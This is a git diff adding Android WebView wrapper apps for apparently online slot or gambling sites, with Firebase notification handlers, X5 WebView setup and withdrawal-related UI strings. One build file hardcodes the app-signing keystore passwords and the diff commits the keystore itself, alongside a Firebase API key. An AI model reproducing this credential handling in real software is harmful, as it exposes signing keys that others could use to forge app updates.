traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/slotkaki/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/slotkaki/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/slotkaki/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/slotkaki/src/main/AndroidManifest.xml b/slotkaki/src/main/AndroidManifest.xml new file mode 100644 index 0000000..011d489 --- /dev/null +++ b/slotkaki/src/main/AndroidManifest.xml @@ -0,0 +1,99 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/slotkaki/src/main/java/com/xyz/slotkaki33/MainActivity.java b/slotkaki/src/main/java/com/xyz/slotkaki33/MainActivity.java new file mode 100644 index 0000000..475976f --- /dev/null +++ b/slotkaki/src/main/java/com/xyz/slotkaki33/MainActivity.java @@ -0,0 +1,57 @@ +package com.xyz.slotkaki33; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 223; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://slotkaki33.net/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#142550"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#122e5a"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + try { + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); + }catch (Exception e){ + e.printStackTrace(); + } + + } + + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/slotkaki/src/main/java/com/xyz/slotkaki33/MyFirebaseMessageingService.java b/slotkaki/src/main/java/com/xyz/slotkaki33/MyFirebaseMessageingService.java new file mode 100644 index 0000000..51217a8 --- /dev/null +++ b/slotkaki/src/main/java/com/xyz/slotkaki33/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.slotkaki33; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/slotkaki/src/main/java/com/xyz/slotkaki33/WebApplication.java b/slotkaki/src/main/java/com/xyz/slotkaki33/WebApplication.java new file mode 100644 index 0000000..f29da36 --- /dev/null +++ b/slotkaki/src/main/java/com/xyz/slotkaki33/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.slotkaki33; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/slotkaki/src/main/res/drawable-anydpi/ic_action_back.xml b/slotkaki/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/slotkaki/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/slotkaki/src/main/res/drawable-hdpi/ic_action_back.png b/slotkaki/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/slotkaki/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/slotkaki/src/main/res/drawable-mdpi/ic_action_back.png b/slotkaki/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/slotkaki/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/slotkaki/src/main/res/drawable-v24/ic_launcher_foreground.xml b/slotkaki/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/slotkaki/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/slotkaki/src/main/res/drawable-xhdpi/ic_action_back.png b/slotkaki/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/slotkaki/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/slotkaki/src/main/res/drawable-xxhdpi/ic_action_back.png b/slotkaki/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/slotkaki/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/slotkaki/src/main/res/drawable/big_bg.xml b/slotkaki/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..419d5b8 --- /dev/null +++ b/slotkaki/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/slotkaki/src/main/res/drawable/ic_launcher_background.xml b/slotkaki/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/slotkaki/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/slotkaki/src/main/res/drawable/input_bg.xml b/slotkaki/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/slotkaki/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/slotkaki/src/main/res/drawable/pass_word_bg.xml b/slotkaki/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/slotkaki/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/slotkaki/src/main/res/drawable/pass_word_bg1.xml b/slotkaki/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/slotkaki/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/slotkaki/src/main/res/drawable/pass_word_bg2.xml b/slotkaki/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/slotkaki/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/slotkaki/src/main/res/drawable/shape_btn_bg.xml b/slotkaki/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/slotkaki/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/slotkaki/src/main/res/drawable/shape_dialog_bg2.xml b/slotkaki/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/slotkaki/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/slotkaki/src/main/res/drawable/shape_dialog_bg3.xml b/slotkaki/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/slotkaki/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/slotkaki/src/main/res/drawable/shape_dialog_bg_new.xml b/slotkaki/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/slotkaki/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/slotkaki/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/slotkaki/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/slotkaki/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/slotkaki/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/slotkaki/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/slotkaki/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/slotkaki/src/main/res/mipmap-hdpi/ic_empty.png b/slotkaki/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/slotkaki/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/slotkaki/src/main/res/mipmap-hdpi/ic_pull_down.png b/slotkaki/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/slotkaki/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/slotkaki/src/main/res/mipmap-xhdpi/ic_close.png b/slotkaki/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/slotkaki/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/slotkaki/src/main/res/mipmap-xhdpi/ic_menu.png b/slotkaki/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/slotkaki/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/slotkaki/src/main/res/mipmap-xxhdpi/app_logo.jpg b/slotkaki/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..2aca6fa Binary files /dev/null and b/slotkaki/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/slotkaki/src/main/res/values-en/strings.xml b/slotkaki/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..703adc6 --- /dev/null +++ b/slotkaki/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + SlotKaki33 + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/slotkaki/src/main/res/values-night/themes.xml b/slotkaki/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/slotkaki/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/slotkaki/src/main/res/values/colors.xml b/slotkaki/src/main/res/values/colors.xml new file mode 100644 index 0000000..407d4ed --- /dev/null +++ b/slotkaki/src/main/res/values/colors.xml @@ -0,0 +1,19 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #142550 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/slotkaki/src/main/res/values/strings.xml b/slotkaki/src/main/res/values/strings.xml new file mode 100644 index 0000000..5f50ace --- /dev/null +++ b/slotkaki/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + SlotKaki33 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/slotkaki/src/main/res/values/themes.xml b/slotkaki/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/slotkaki/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/slotkaki/src/main/res/xml/app_updater_paths.xml b/slotkaki/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/slotkaki/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/slotkaki/src/main/res/xml/network_security_config.xml b/slotkaki/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/slotkaki/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/slotkaki/src/main/res/xml/provider_paths.xml b/slotkaki/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/slotkaki/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/slotkaki/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/slotkaki/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/slotkaki/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/sonicau/.gitignore b/sonicau/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/sonicau/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/sonicau/build.gradle b/sonicau/build.gradle new file mode 100644 index 0000000..d045b87 --- /dev/null +++ b/sonicau/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.sonicau" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "sonicau" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/sonicau/google-services.json b/sonicau/google-services.json new file mode 100644 index 0000000..de7512e --- /dev/null +++ b/sonicau/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "724728969298", + "project_id": "sonicau-e08e0", + "storage_bucket": "sonicau-e08e0.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:724728969298:android:22a9c64ce372d2a057878b", + "android_client_info": { + "package_name": "com.web.sonicau" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDjQ0m20DdLUL-myxzrqeLTV7Vmfw3aHf4" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/sonicau/ppn.jks b/sonicau/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/sonicau/ppn.jks differ diff --git a/sonicau/proguard-rules.pro b/sonicau/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/sonicau/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/sonicau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/sonicau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/sonicau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/sonicau/src/main/AndroidManifest.xml b/sonicau/src/main/AndroidManifest.xml new file mode 100644 index 0000000..ff9b18f --- /dev/null +++ b/sonicau/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sonicau/src/main/java/com/web/sonicau/MainActivity.java b/sonicau/src/main/java/com/web/sonicau/MainActivity.java new file mode 100644 index 0000000..4c6300d --- /dev/null +++ b/sonicau/src/main/java/com/web/sonicau/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.sonicau; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 164; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://sonicau.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#0e52b8"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#FFFFFF"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/sonicau/src/main/java/com/web/sonicau/MyFirebaseMessageingService.java b/sonicau/src/main/java/com/web/sonicau/MyFirebaseMessageingService.java new file mode 100644 index 0000000..abc09ab --- /dev/null +++ b/sonicau/src/main/java/com/web/sonicau/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.sonicau; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + 